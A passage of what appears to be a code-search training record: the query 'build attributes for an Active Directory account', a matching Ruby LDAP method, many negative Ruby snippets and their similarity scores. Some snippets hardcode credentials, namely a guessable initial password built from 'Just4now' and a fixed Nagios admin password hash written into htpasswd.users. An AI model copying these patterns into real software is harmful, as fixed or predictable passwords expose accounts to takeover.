"def connect(hostname, port, timeout)\n logger.debug \"Connecting to MongoDB (#{hostname}:#{port}) with timeout (#{timeout})\"\n begin\n @connection = Mongo::Connection.new(hostname, port, {:connect_timeout => timeout})\n rescue Mongo::ConnectionTimeoutError\n logger.error \"Mongo::ConnectionTimeoutError\"\n return false\n rescue Mongo::ConnectionError\n logger.error \"Mongo::ConnectionError\"\n return false\n rescue Mongo::ConnectionFailure\n logger.error \"Mongo::ConnectionFailure\"\n return false\n rescue Mongo::OperationTimeout\n logger.error \"Mongo::OperationTimeout\"\n return false\n end\n @razor_database = @connection.db(\"project_razor\")\n @connection.active?\n end",
"def timeout?\n @mutex.synchronize {\n temp = Time.now\n if time_diff_in_sec(@last_timestamp, temp) > @timeout_in_sec then\n true\n else\n false\n end\n }\n end",
"def ldap?\n !!ldap\n end"
] |
[
"0.60290295",
"0.59892845",
"0.5983772",
"0.5972752",
"0.5920659",
"0.57814956",
"0.57298326",
"0.57287616",
"0.5686326",
"0.56467944",
"0.5625104",
"0.55779064",
"0.5575127",
"0.556209",
"0.5547961",
"0.55463666",
"0.5534322",
"0.55124956",
"0.54762",
"0.54749876",
"0.54704493",
"0.5451924",
"0.5442302",
"0.54295343",
"0.5411688",
"0.54092586",
"0.5398723",
"0.5392679",
"0.5388136",
"0.5384084",
"0.5383366",
"0.53645927",
"0.5363179",
"0.5362555",
"0.5354943",
"0.5346882",
"0.5342999",
"0.53387034",
"0.5311137",
"0.5309808",
"0.5307028",
"0.53044987",
"0.529698",
"0.529077",
"0.5266508",
"0.52653116",
"0.5259525",
"0.52571094",
"0.5253143",
"0.5247905",
"0.52438504",
"0.52388364",
"0.52338195",
"0.52332115",
"0.523116",
"0.5229159",
"0.5222847",
"0.5221367",
"0.52110314",
"0.51928383",
"0.5179441",
"0.5179441",
"0.51683307",
"0.51651955",
"0.5161976",
"0.5153039",
"0.51470685",
"0.51420635",
"0.5126906",
"0.5125555",
"0.51254547",
"0.5125229",
"0.51229626",
"0.5120175",
"0.511369",
"0.51130444",
"0.5111653",
"0.511011",
"0.5102696",
"0.5101421",
"0.51004684",
"0.50968105",
"0.50921947",
"0.50919354",
"0.5064391",
"0.5058947",
"0.50588953",
"0.50587773",
"0.50581855",
"0.50482404",
"0.50465626",
"0.5045929",
"0.50324696",
"0.50307715",
"0.50277376",
"0.50271",
"0.5023944",
"0.5021021",
"0.50209534",
"0.5014009"
] |
0.67869484
|
0
|
Build attributes for active directory account Code 512 creates standard user account and enables it
|
def ldap_attributes(user)
attributes = {
:cn => user.human_name,
:mail => user.email,
:objectclass => ["top", "person", "organizationalPerson", "user"],
:userPrincipalName => format_email_to_ad_domain(user.email),
:unicodePwd => password_encode('Just4now' + Time.now.to_f.to_s[-4, 4]),
:userAccountControl => "512",
:sn => user.last_name,
:givenName => user.first_name,
:displayName => user.human_name
}
return attributes
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def generate_attributes_from_ldap_info\n self.username = self.uid\n self.email = self.mail\n end",
"def build_user_details(xml, options)\n xml.User{\n xml.Name(@options[:user])\n xml.Password(@options[:password])\n xml.ClientId(@options[:clientId], :DataType => \"S32\")\n }\n end",
"def build_info_for_user_account(acct)\n \n # Fill in server info.\n info = I3::SharedObject.new\n info.server = {\n :title => I3.config.title,\n :copyright => I3.config.copyright\n }\n\n # Fill in basic user data.\n person = acct.person\n info.account_name = acct.account_name\n info.first_name = person.first_name\n info.last_name = person.last_name\n info.full_name = person.full_name\n info.description = person.description\n info.email = person.email\n\n # Build list of accessible tools.\n info.tools = Hash.new\n I3.config.tools.each do |tool_name, tool_info|\n if tool_info.has_info? and (not tool_info.applets[\"client-web\"].nil?) and (\n acct.has_permission?(\"access-tool\", tool_name) or\n acct.has_permission?(\"develop\", \"i3-root\") )\n info.tools[tool_name] = {\n :dir => tool_info.dir,\n :name => tool_info.name,\n :description => tool_info.description,\n :is_native => tool_info.is_native?, \n :is_searchable => tool_info.is_searchable?\n }\n # Build applet => revision hash.\n info.tools[tool_name][:applets] = {}\n tool_info.applets[\"client-web\"].each do |applet_name, applet|\n info.tools[tool_name][:applets][applet_name] = applet.remote_path\n end #each\n end #if\n end #each\n \n # Build list of permissions. First we find all the permissions\n # that specifically reference the account, then we go through all\n # the group permissions and see which ones apply to the account.\n perms = Hash.new\n acct.permissions.each do |perm|\n perms[perm.tool] = Hash.new if perms[perm.tool].nil?\n perms[perm.tool][perm.privilege] = true\n end #each\n I3::Permission.find_all_by_is_group(true).each do |perm|\n if acct.member_of? perm.group_dn\n perms[perm.tool] = Hash.new if perms[perm.tool].nil?\n perms[perm.tool][perm.privilege] = true\n end #if\n end #each\n info.permissions = perms\n \n # Build navigation bar quick links.\n info.quicklinks = I3::SharedObject.new\n info.quicklinks.fixed = I3.config.required_navbar_items.collect do |item|\n item_tool = item[\"tool\"]\n item_path = item[\"path\"] || \"\"\n item_path = '/#/%s/%s' % [item_tool, item_path] unless item_path.starts_with?(\"/\")\n item_icon = item[\"icon\"] || \"applet-icon\"\n item_icon = '/%s/client-web/img/%s' % [item_tool, item_icon] unless item_icon.starts_with?(\"/\")\n { :tool => item_tool,\n :path => item_path,\n :small_icon => \"#{item_icon}-16.png\",\n :large_icon => \"#{item_icon}-32.png\",\n :caption => item[\"caption\"] || I3.config.tools[item[\"tool\"]].name\n }\n end #collect\n info.quicklinks.user_defined = I3.preferences.get(\"quicklinks\", :tool => \"common\")\n if info.quicklinks.user_defined.nil?\n info.quicklinks.user_defined = I3.config.default_navbar_items.collect do |item|\n item_tool = item[\"tool\"]\n item_path = item[\"path\"] || \"\"\n item_path = '/#/%s/%s' % [item_tool, item_path] unless item_path.starts_with?(\"/\")\n item_icon = item[\"icon\"] || \"applet-icon\"\n item_icon = '/%s/client-web/img/%s' % [item_tool, item_icon] unless item_icon.starts_with?(\"/\")\n { :tool => item_tool,\n :path => item_path,\n :small_icon => \"#{item_icon}-16.png\",\n :large_icon => \"#{item_icon}-32.png\",\n :caption => item[\"caption\"] || I3.config.tools[item[\"tool\"]].name\n }\n end #collect\n end #if\n\n info\n end",
"def account=(attributes)\n @account = FakeBsmobil::Generator.full_account.merge(attributes)\n end",
"def create_user(ldap) \n puts \"Enter user name to create user\"\n firstname = gets.chomp\n puts \"Enter Last name\"\n lastname = gets.chomp\n puts \"Enter password\"\n password = gets.chomp\n \n dn = \"cn=#{firstname},ou=people,dc=example,dc=com\"\n attr = {\n :objectClass => 'inetOrgPerson',\n :cn=> firstname,\n :sn => lastname,\n :userPassword => password\n }\n ldap.add(:dn => dn, :attributes => attr) \n puts \"****** Create_user result *******\" \n puts ldap.get_operation_result \n \n end",
"def admin_user_account_attrs(admin_user_params)\n\t\tadmin_user_account_attrs = { plan_years: 3,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t is_recurring: false,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t is_paid: true,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t plan_price: 0,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t plan_level: \"RepsEdge\",\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t billing_city: \"Malverne\",\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t billing_state: \"New York\",\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t billing_zip_code: \"11565\",\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t payment_type: \"Admin Account\",\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t billing_street_address_line_1: \"P.O. Box 281\" }\n\t\treturn admin_user_account_attrs\n\tend",
"def cas_extra_attributes=(attributes)\n self.username = attributes['uid']\n self.email = attributes['email']\n self.given_name = attributes['givenName']\n self.surname = attributes['surname']\n self.lnumber = attributes['lnumber']\n\n update_roles_from_attributes(attributes)\n end",
"def enable\n if disabled?\n Cratus::LDAP.replace_attribute(\n dn,\n Cratus.config.user_account_control_attribute,\n ['512']\n )\n refresh\n else\n true\n end\n end",
"def generate_activation_code!\n self[:activation_code] = RandomPasswordGenerator.generate(\n 4, skip_upper_case: true, skip_symbols: true, skip_url_unsafe: true\n )\n self[:status] = Status::INTERMEDIATE\n save!\n end",
"def account_create(uid,display_name)\n user_hash = @client.user_create(\"#{uid}\",\"#{display_name}\")\n Rails.logger.debug '> Radosgw: Account create'\n user_json = user_hash.to_json\n storage = Storage.new(STORAGES_BUCKET)\n storage.upload(uid, user_json, 'application/json')\n user_hash\n end",
"def gen_unix_attributes(ad,domain,entry)\n ua = Hash.new\n ua[:uidnumber] = ad.find_next_uid(domain)\n ua[:mssfu30name] = entry[:samaccountname][0]\n ua[:mssfu30nisdomain] = domain.split(\".\").first\n ua[:gidnumber] = \"100\"\n ua[:unixhomedirectory] = \"/home/\" + entry[:samaccountname][0]\n ua[:loginshell] = \"/bin/bash\"\n return ua\n end",
"def marshal_attributes( xml, options={} )\n xml.id( self.id ) if self.id\n xml.realm_type( self.realm_type )\n xml.name( self.name )\n xml.builtin( self.builtin ) if self.builtin\n xml.address( self.address )\n xml.port( self.port )\n xml.base_dn( self.base_dn )\n xml.default_dn( self.default_dn )\n self.login.marshal( options.merge(:builder => xml) ) if self.login\n end",
"def create_user\n command = compile_command(\"useradd\") do |useradd|\n useradd << universal_options\n useradd << useradd_options\n end\n\n run_command(:command => command)\n\n # SmartOS locks new users by default until password is set\n # unlock the account by default because password is set by chef\n if check_lock\n unlock_user\n end\n end",
"def create_admin_account\n account = Account.create!\n self.account = account\n self.account_owner = true\n end",
"def set_attr_for_create\n self.agreement_status ||= 0 #unsigned\n self.trans_type = TRANS_TYPE[:AccountSetup]\n self.acct_open_date = Date.today\n self.last_trans_date = Date.today\n log_event(\"Customer\", self.id, \"Account Created\")\n end",
"def create_user(**data)\n create_object(type: 'User', data: { enabled: true }.merge(data))\n end",
"def create_activation_digest #before user creation completion, assign a token and digest to that user in the database for account activation\n self.activation_token = User.new_token\n self.activation_digest = User.digest(activation_token)\n end",
"def before_create_user\n logger.debug(\"on before creare user\")\n #Generate a unique key\n if facebook_user?\n self.active = 1 \n else\n activation_key_string = self.salt+self.email+self.hashed_password\n self.activation_key =Digest::SHA1.hexdigest(activation_key_string)\n self.active = 0\n end\n self.admin = 0 \n self.handle=generate_unique_handle\n \n end",
"def generate_username4 (first_name, last_name, birth_year, privilege=\"0\")\n user_priv = \"\"\n if (privilege == 1)\n user_priv = \"seller\"\n elsif (privilege == 2)\n \tuser_priv = \"manager\"\n elsif (privilege == 2)\n \tuser_priv = \"admin\"\n end\n\n if ((birth_year.to_s.length == 4) && (birth_year<2015) && (birth_year>1900))\n \t(privilege >= 1? user_priv += \"-\" : \"\") + first_name.chomp[0].downcase + last_name.downcase + birth_year.to_s.chomp[-2..-1]\n end\nend",
"def generate_activation_code\n #self.security_token = Digest::SHA1.hexdigest(\"--#{Time.now.to_s}--#{email}--#{salt}--\")\n generate_security_token\n end",
"def create\n super\n acc = Account.create!(:company_name => params[:account][:company_name]) unless flash.blank?\n # Set admin and account_id for User \n resource.update_attributes!({:account_id => acc.id, :is_admin => true, :status => SettingsConfig::ENABLED}) unless flash.blank?\n end",
"def make_account(email: 'jdoe@emmoco.com', password: 'aba456',\n admin: false, first: 'John', last: 'Doe') # system admin, not lock admin\n # account is a devise model, must set properties at instance level and not in constructor\n Account.create!(:first_name => first,\n :last_name => last,\n :email => email,\n :password => password,\n :password_confirmation => password,\n :admin => admin,\n :confirmed_at => DateTime.now.utc.iso8601(9),\n :confirmation_sent_at => DateTime.now.utc.iso8601(9)\n )\n end",
"def register\n enc_password = Authentication::Encryptor.digest(password)\n account = Authentication::Account.find_or_initialize_by({email: username})\n account.assign_attributes({'encrypted_password' => enc_password, 'gid' => gid})\n account.roles.concat(role.to_a).uniq!\n account.save!\n {'account_id' => account.id}\n end",
"def initialize(attributes = {})\n super filter_attributes(attributes, Account.attribute_list)\n self.current_user = User.new(filter_attributes(attributes, User.attribute_list)) if current_user.nil?\n return if account_type.present?\n\n self.account_type = AccountType.new(filter_attributes(attributes, AccountType.attribute_list))\n end",
"def create_user_information # for new users. runs last according to rails.\n self.dj_name = name\n self.roles = Role.where(:title => 'noob')\n self.active = true\n set_password\n end",
"def create_user(resource)\n session = Puppet::NetDev::CE::Device.session\n\n set_user_xml = '<rpc><edit-config><target><running/></target><default-operation>merge</default-operation><error-option>rollback-on-error</error-option><config><aaa xmlns=\"http://www.huawei.com/netconf/vrp\" content-version=\"1.0\" format-version=\"1.0\"><lam><users><user operation=\"merge\"><userName>' + (resource[:name]).to_s + '</userName>'\n\n if resource[:password]\n set_user_xml += '<password>' + (resource[:password]).to_s + '</password>'\n end\n\n set_user_xml += '</user></users></lam></aaa></config></edit-config></rpc>'\n\n session.rpc.do_config(set_user_xml)\n end",
"def create_account\n\n end",
"def convert_user_attributes(entry, is_registered=false)\n email = (entry.attribute_names.include? :mail) ? entry.mail[0].to_s.force_encoding('utf-8'):nil\n position = (entry.attribute_names.include? :description) ? entry.description[0].to_s.force_encoding('utf-8'):nil\n company_area = (entry.attribute_names.include? :physicaldeliveryofficename) ?\n entry.physicaldeliveryofficename[0].to_s.force_encoding('utf-8'):nil\n account_control = entry.userAccountControl[0]\n is_disabled = !(account_control.to_s.to_i & 0x0002).zero?\n positive_status = (is_registered ? :enabled : :non_registered)\n status = User.statuses[is_disabled ? :disabled : positive_status]\n { username: entry.samaccountname[0].to_s.force_encoding('utf-8'),\n first_name: entry.givenname[0].to_s.force_encoding('utf-8'),\n last_name: entry.sn[0].to_s.force_encoding('utf-8'),\n email: email, position: position, company_area: company_area,\n last_ad_sync_at: Time.now, status: status}\n end",
"def add_user(username, password, attributes = {})\n @users[username] = {}\n @users[username][:password] = password\n if attributes.empty?\n @users[username][:attributes] = {\n 'User-Name' => username,\n 'Filter-Id' => 60\n }\n else\n @users[username][:attributes] = attributes\n end\n end",
"def set_attributes_from_form_parameters params\n self.uid = params[:uid]\n self.uidNumber = params[:uidNumber]\n self.gidNumber = IEConfig::LDAP::Group.id_from_group_name(params[:group])\n self.mail = [params[:uid], IEConfig::LDAP::Domain].join('@')\n self.gecos = params[:gecos]\n self.cn = self.sn = params[:cn]\n self.ou = params[:group]\n self.homeDirectory = ['', 'home' , self.ou, self.uid].join('/')\n self.userPassword = ActiveLdap::UserPassword.md5(params[:password])\n self.userPassword_confirmation = ActiveLdap::UserPassword.md5(params[:password])\n self.dn = [\"uid=#{self.uid}\", \"ou=#{self.ou}\", IEConfig::LDAP::BaseDN].join(',')\n set_samba_attributes(self.uidNumber , params[:password])\n set_default_attributes\n return self\n end",
"def run\n super\n\n if _get_entity_type_string == \"WebAccount\"\n account_name = _get_entity_detail(\"username\")\n else\n account_name = \"#{_get_entity_name}\".sanitize_unicode\n end\n\n # try a couple variations\n if _get_entity_type_string == \"Domain\" && account_name =~ /\\./\n check_and_create account_name.split(\".\").first\n check_and_create account_name.gsub(\".\",\"\")\n check_and_create \"#{account_name.split(\".\")[0...-1].join(\"\")}\"\n else\n check_and_create account_name\n end\n\n end",
"def antivirus_basic\n @attributes[:antivirus_basic]\n end",
"def set_authentication_authority\n value = ';ShadowHash;HASHLIST:'\n authority = NSMutableArray.new\n if @kernel_version_major >= 12\n value << '<SALTED-SHA512-PBKDF2>'\n elsif @kernel_version_major == 11\n value << '<SALTED-SHA512>'\n else\n value << '<SALTED-SHA1>'\n end\n authority << value\n @user['authentication_authority'] = authority\n end",
"def bushido_extra_attributes(extra_attributes)\n puts \"Extra attributes: #{extra_attributes.inspect}\"\n self.email = extra_attributes[\"email\"]\n self.name = \"#{extra_attributes['first_name']} #{extra_attributes['last_name']}\"\n end",
"def back_office_attributes\n { PASSWORD: { attribute: :new_password } }\n end",
"def create_username_password(**args)\n\t\t\t\t\tjson_body = {\n\t\t\t\t\t\t'' => '0',\n\t\t\t\t\t\tcredentials: args.merge(\n\t\t\t\t\t\t\t'$class' => 'com.cloudbees.plugins.credentials.impl.'\\\n\t\t\t\t\t\t\t\t'UsernamePasswordCredentialsImpl'\n\t\t\t\t\t\t)\n\t\t\t\t\t}.to_json\n\t\t\t\t\tcreate_(\"json=#{::CGI.escape json_body}\")\n\t\t\t\tend",
"def attributes\n { 'username' => nil, 'work_place_refno' => nil, 'party_refno' => nil, 'user_roles' => nil,\n 'password_change_required' => nil, 'password_expiry_date' => nil, 'user_is_signed_ta_cs' => nil }\n end",
"def initialize(attributes)\n super()\n self.identity = attributes[:identity]\n self.identity_type = attributes[:identity_type]\n self.public_key = attributes[:raw_public_key]\n self.scope = attributes[:scope] || Card::APPLICATION\n self.data = attributes[:data]\n self.info = attributes[:info]\n end",
"def create(username, password)\n SecKeychainAddGenericPassword(nil, @service.length, @service, username.length, username, password.length, password, nil)\n end",
"def create\n @om_account = OmAccount.new(params[:om_account])\n @om_account.user_id = current_user.id\n @om_account.credentials = {:tag => params[:tag], :password => params[:password]}.to_yaml\n\n respond_to do |format|\n if @om_account.save\n flash[:notice] = 'account was successfully accessed.'\n format.html { redirect_to(om_accounts_url) }\n format.xml { render :xml => @om_account, :status => :created, :location => @om_account }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @om_account.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create_gen1_account(name) \n\n account_create = {\n \"location\"=> \"centralus\",\n \"tags\"=> {\n \"test_key\"=> \"test_value\"\n },\n \"identity\"=> {\n \"type\"=> \"SystemAssigned\"\n },\n \"properties\"=> {\n \"encryptionState\"=> \"Enabled\",\n \"encryptionConfig\"=> {\n \"type\"=> \"ServiceManaged\",\n },\n \"firewallState\"=> \"Disabled\",\n \"firewallRules\"=> [\n \n ],\n \"trustedIdProviderState\"=> \"Disabled\",\n \"trustedIdProviders\"=> [\n \n ],\n \n \"newTier\"=> \"Consumption\",\n \"firewallAllowAzureIps\"=> \"Enabled\"\n }\n }\n\n response = HTTParty.put(\"https://management.azure.com/subscriptions/#{subscriptionId}/resourceGroups/#{resourceGroupName}/providers/Microsoft.DataLakeStore/accounts/#{name}?api-version=2016-11-01\", {\n\n body: account_create.to_json,\n\n headers: {\n \"Authorization\" => \"Bearer #{bearerToken}\",\n \"Content-Type\" => 'application/json', \n \"Accept\" => '*/*',\n \"Cache-Control\" => 'no-cache',\n \"Connection\" => 'keep-alive',\n \"cache-control\" => 'no-cache'\n },\n \n verify: true,\n })\n\n return JSON.parse response.read_body\n end",
"def user_create(name='admin', is_admin=true)\n key = \"#{name}:#{is_admin}\"\n UserCache.instance[key] ||= User.find_or_create_by_name(name) do |u|\n u.email_address = \"#{u.name}@concord.org\"\n u.password = u.password_confirmation = \"#{u.name}pAsS\"\n u.state = 'active'\n u.administrator = is_admin\n end\nend",
"def create\n @user = User.new(params[:user])\n @passwd = params[:user][:password]\n #@user.activ_key = @user.keygen(@user.username)\n\n respond_to do |format|\n if @user.save\n flash[:notice] = t('account.flash.create_success')\n format.html { redirect_to :controller => \"account\", :action => \"login\" }\n format.xml { render :xml => @user, :status => :created, :location => @user }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @user.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create_account_for_user\n # # if age.exists?\n # balance = age >= 18 ? 350 : 250\n # create_account(balance: balance)\n # # end\n create_account(balance: 250)\n end",
"def extend_fields\n if username.blank?\n # Synthesize a unique username from the email address or fullname\n n = 0\n startname = handle if (startname = email.sub(/@.*/, '')).blank?\n self.username = startname\n until (User.where(username: username).empty?) do\n n += 1\n self.username = startname+n.to_s\n end\n end\n # Provide a random password if none exists already\n self.password = email if password.blank? # (0...8).map { (65 + rand(26)).chr }.join\n self.fullname = \"#{first_name} #{last_name}\" if fullname.blank? && !(first_name.blank? || last_name.blank?)\n end",
"def build\n set_action(:build)\n validate_account_type!\n new_account\n assign_params\n build_account_users\n set_affiliate\n set_created_by\n set_facility\n\n after_build\n account\n end",
"def add_account_user account_user\n \n \n # find or create catalog user\n catalog_user = CatalogUser.where( user_id: account_user.user_id, \n catalog_id: self.id,\n account_id: self.account_id,\n role: account_user.role)\n .first_or_create( \n user_id: account_user.user_id, \n catalog_id: self.id,\n account_id: self.account_id,\n role: account_user.role\n )\n \n # copy permissions to catalog user \n Permissions::TYPES.each do |permission|\n #eval \"catalog_user.#{permission} = account_user.#{permission}\"\n catalog_user[permission] = account_user[permission]\n end\n catalog_user.save!\n catalog_user\n end",
"def create_account\n set_user\n set_payer\n set_user_sport\n save_account\n end",
"def build_user(attributes = {}, options = {})\n @provider_user.build_record(attributes, options)\n end",
"def createNagiosPasswd\n `touch /usr/local/nagios/etc/htpasswd.users`\n `echo nagiosadmin:uPODiTjNs5eaY >> /usr/local/nagios/etc/htpasswd.users` \n end",
"def create\n # Get the credit card details submitted by the form\n @account = Account.new\n authorize @account\n @account.user_id = account_params[:user_id]\n @account.package_id = account_params[:package_id];\n @user = User.find(account_params[:user_id])\n @account.users << @user\n @account.active = FALSE\n\n if @account.save\n render json: {status: :created, account: @account}\n else\n render json: { error: @account.errors, status: :unprocessable_entity }\n end\n end",
"def valid_user_attributes(add_attributes={})\n\t{\n\t\t:username => \"Jarqueline\",\n\t\t:password => \"Jarqueli42\"\n\t\t\n\t}.merge(add_attributes)\n\tend",
"def build_userinfo\n @password_value ? \"#{@user_value}:#{@password_value}\" : @user_value if @user_value\n end",
"def create_account(client, options)\n if options[:directory].nil? or options[:email].nil? or options[:username].nil? or options[:password].nil? or options[:firstname].nil? or options[:surname].nil?\n puts \"Missing arguments\"\n return\n end\n\n directory = client.directories.get options[:directory]\n begin\n account = Stormpath::Resource::Account.new({\n given_name: options[:firstname],\n surname: options[:surname],\n email: options[:email],\n username: options[:username],\n password: options[:password],\n status: (options[:status] == \"disabled\" ? Stormpath::Resource::Status::DISABLED : Stormpath::Resource::Status::ENABLED)\n }, client)\n account = directory.create_account account, false\n puts \"Account created.\"\n\n rescue Stormpath::Error => e\n print_error(e)\n end\nend",
"def create_basic_account(http, account_name, identity_card)\n begin\n response = http.post 'Create a new account', \"#{SERVER}/accounts\", {\n 'lineId' => 1,\n 'username' => account_name,\n 'password' => account_name,\n 'email' => \"#{account_name}@lvs.co.uk\",\n 'countryCode' => 'IL',\n 'currencyCode' => 'ILS',\n 'online' => true,\n 'status' => 'open',\n 'identityCardNumber'=> identity_card\n }\n account_id = JSON.parse(response.body)['id']\n account_uri = response.headers[:location]\n \n response = http.post 'Create a new transaction', \"#{SERVER}/accounts/#{account_id}/transactions\", {\n 'transactionSubType' => 'CREDIT_CARD',\n 'transactionType' => 'PAYMENTRECEIPT',\n 'accountId' => account_id,\n 'credit' => '10000',\n 'description' => 'Payment via REST API',\n }\n return account_id, account_uri\n end\nend",
"def generate_code\n self.code = Digest::SHA1.hexdigest(\"--#{Time.now.to_s}--#{user_id}--#{rand(256)}\")[0,32]\n end",
"def generate_account\n self.account = Account.create(:name => self.email) unless account\n end",
"def attach_account_codes(resource)\n if resource.respond_to?(:tags) and resource.tags\n resource.tags.each do |key, value|\n resource.code(key, value)\n end\n end\n end",
"def account_params\n params.require(:account)\n .permit(:username, :bio, :avatar, :role, user_attributes:\n [:first_name, :last_name, :email, :password, :password_confirmation])\n end",
"def create_activation_digest # called by before_create so auto save into DB\n self.activation_token = User.new_token # vitrual abttribute\n self.activation_digest = User.digest activation_token # abttribute in DB\n end",
"def initialize( params = nil, user = nil )\n super( params )\n\n if ( params.nil? )\n self.code = \"UID%04d\" % User.count\n self.active = true\n self.name = ''\n self.email = ''\n self.identity_url = ''\n self.user_type = User::USER_TYPE_NORMAL\n end\n end",
"def require_activation!\n self.enabled = false\n self.activation_code = Digest::MD5.hexdigest(self.object_id.to_s + Rauth::Encode.mksalt).upcase\n end",
"def login_attributes\n attrs = {}\n\n attr_pairs = [\n {\"userName\" => @user_name},\n {\"suspended\" => @suspended},\n {\"ipWhitelisted\" => @ip_whitelisted},\n {\"admin\" => @admin},\n {\"changePasswordAtNextLogin\" => @change_password_at_next_login},\n {\"agreedToTerms\" => @agreed_to_terms},\n {'password' => @password},\n {'hashFunctionName' => @hash_function_name},\n ]\n\n attr_pairs.each do |pair|\n key = pair.keys.first\n attrs.merge!(pair) unless pair[key].nil?\n end\n\n attrs\n end",
"def create_user_account\n User.create!(email: self.email, password: self.customer)\n # user = User.new do |u|\n # u.email = email\n # u.password = customer\n # u.save\n # end\n end",
"def create_account_card\n tmp = Card.create! name: \"Company+scratch\"\n tmp.update! name: \"Company+*account\"\n end",
"def build_account(data)\n Account.new(\n bank: self,\n id: data['numProd'],\n name: data['description'],\n available_balance: Money.new(data['availableBalance'] * 100, 'EUR'),\n balance: Money.new(data['balance'] * 100, 'EUR'),\n iban: data['iban']['ibanCode'],\n description: \"ARQUIA: #{data['description']}\"\n )\n end",
"def create_user(attributes)\n BrickFTP::API::User.create(attributes)\n end",
"def create_user(attributes)\n BrickFTP::API::User.create(attributes)\n end",
"def initialize(options ={})\n\n\t\t\tif @@users.find {|user| user.dn == options[:dn] } #We dont want duplicated in our array so lets see if the group cn already exists\n\t\t\t\treturn #Have a think about this, we dont want to ignore new data if there is more than the existing object\n\t\t\tend\n\n\t\t\t@name = options[:name] || options[:samaccountname]\n\t\t\t@samaccountname = options[:samaccountname] #Name will be set on users but not service accounts\n\t\t\t@dn = options[:dn]\n\t\t\t@memberof = LDAPData.dn_to_human(options[:memberof])\n\t\t\t@whencreated = LDAPData.windows_time_two(options[:whencreated])\n\t\t\t@badpasswordtime = LDAPData.windows_time(options[:badpasswordtime])\n\t\t\t@accountexpires = LDAPData.windows_time(options[:accountexpires])\n\t\t\t@badpwdcount = options[:badpwdcount]\n\t\t\t@admincount = options[:admincount]\n\t\t\t@description = options[:description]\n\t\t\t@enabled = self.user_account_enabled(options[:useraccountcontrol])\n\t\t\t@hash = nil\n\t\t\t@hash_type = nil\n\t\t\t@cracked = nil #if the john / hashcat output contained the hash\n\t\t\t@external = nil \n\t\t\t@password = nil\n\t\t\t@@users << self\n\t\t\t\n\t\tend",
"def create_user\n user new_resource.user do\n comment \"Service user for #{new_resource.name}\"\n gid new_resource.group if new_resource.group\n home new_resource.home\n shell '/bin/false'\n system true\n uid new_resource.uid\n end\n end",
"def create_activation_digest\n # PRzypisanie wygenerowanego tokenu, przy pomocy funkcji new_token\n self.activation_token = User.new_token\n # zakodowanie activation tokenu. \n self.activation_digest = User.digest(activation_token)\n end",
"def cas_extra_attributes=(extra_attributes)\n extra_attributes.each do |name, value|\n puts \"DEBUG: cas_extra_attributes CALLED\"\n puts \"extra_attributes:\"+ name.to_s+\" => \"+ value.to_s\n case name.to_sym\n when :fullname\n self.fullname = value\n when :email\n self.email = value\n end\n end\n end",
"def valid_attributes\n {\n username: \"test_user\",\n full_name: \"Test User\",\n email: \"test@mail.nl\",\n password: \"test123\",\n password_confirmation: \"test123\"\n }\n end",
"def user_params\n params.require(:user).permit(User::REGISTRABLE_ATTRIBUTES)\n end",
"def add_unix_attributes(domain,entry,ua)\n ldap = ldap_connect(domain,ADMINUSER,ADMINPASS)\n print \"Adding attributes...\"\n ua.each do |at, va|\n ldap.add_attribute entry[:dn][0], at, va\n end\n increment_maxuid(ldap,domain)\n puts \"\"\n print \"Done!\\n\"\n end",
"def createAcl(roles)\n header = Nokogiri::XML('<?xml version = \"1.0\" encoding = \"UTF-8\" standalone =\"yes\"?>')\n builder = Nokogiri::XML::Builder.with(header) do |xml|\n xml.Policy('PolicyId' => 'mediapackage-1',\n 'RuleCombiningAlgId' => 'urn:oasis:names:tc:xacml:1.0:rule-combining-algorithm:permit-overrides',\n 'Version' => '2.0',\n 'xmlns' => 'urn:oasis:names:tc:xacml:2.0:policy:schema:os') {\n roles.each do |role|\n xml.Rule('RuleId' => \"#{role[:user]}_#{role[:permission]}_Permit\", 'Effect' => 'Permit') {\n xml.Target {\n xml.Actions {\n xml.Action {\n xml.ActionMatch('MatchId' => 'urn:oasis:names:tc:xacml:1.0:function:string-equal') {\n xml.AttributeValue('DataType' => 'http://www.w3.org/2001/XMLSchema#string') { xml.text(role[:permission]) }\n xml.ActionAttributeDesignator('AttributeId' => 'urn:oasis:names:tc:xacml:1.0:action:action-id',\n 'DataType' => 'http://www.w3.org/2001/XMLSchema#string')\n }\n }\n }\n }\n xml.Condition{\n xml.Apply('FunctionId' => 'urn:oasis:names:tc:xacml:1.0:function:string-is-in') {\n xml.AttributeValue('DataType' => 'http://www.w3.org/2001/XMLSchema#string') { xml.text(role[:user]) }\n xml.SubjectAttributeDesignator('AttributeId' => 'urn:oasis:names:tc:xacml:2.0:subject:role',\n 'DataType' => 'http://www.w3.org/2001/XMLSchema#string')\n }\n }\n }\n end\n }\n end\n\n return builder.to_xml\nend",
"def local_user_create(handle:, name:, pwd:, priv: \"read-only\")\n\n user = _get_local_user(handle, name)\n if !user.nil?\n return local_user_modify(handle: handle, name: name, :priv => priv, :account_status => AaaUserConsts::ACCOUNT_STATUS_ACTIVE)\n end\n\n available_user_id = _get_free_user_id(handle)\n\n new_user = AaaUser.new( parent_mo_or_dn: \"sys/user-ext\", id: available_user_id)\n args = {:name => name,\n :pwd => pwd,\n :priv => priv,\n :account_status => AaaUserConsts::ACCOUNT_STATUS_ACTIVE}\n new_user.set_prop_multiple(**args)\n\n handle.set_mo(mo: new_user)\n #return new_user\n return handle.query_dn(dn: new_user.dn)\nend",
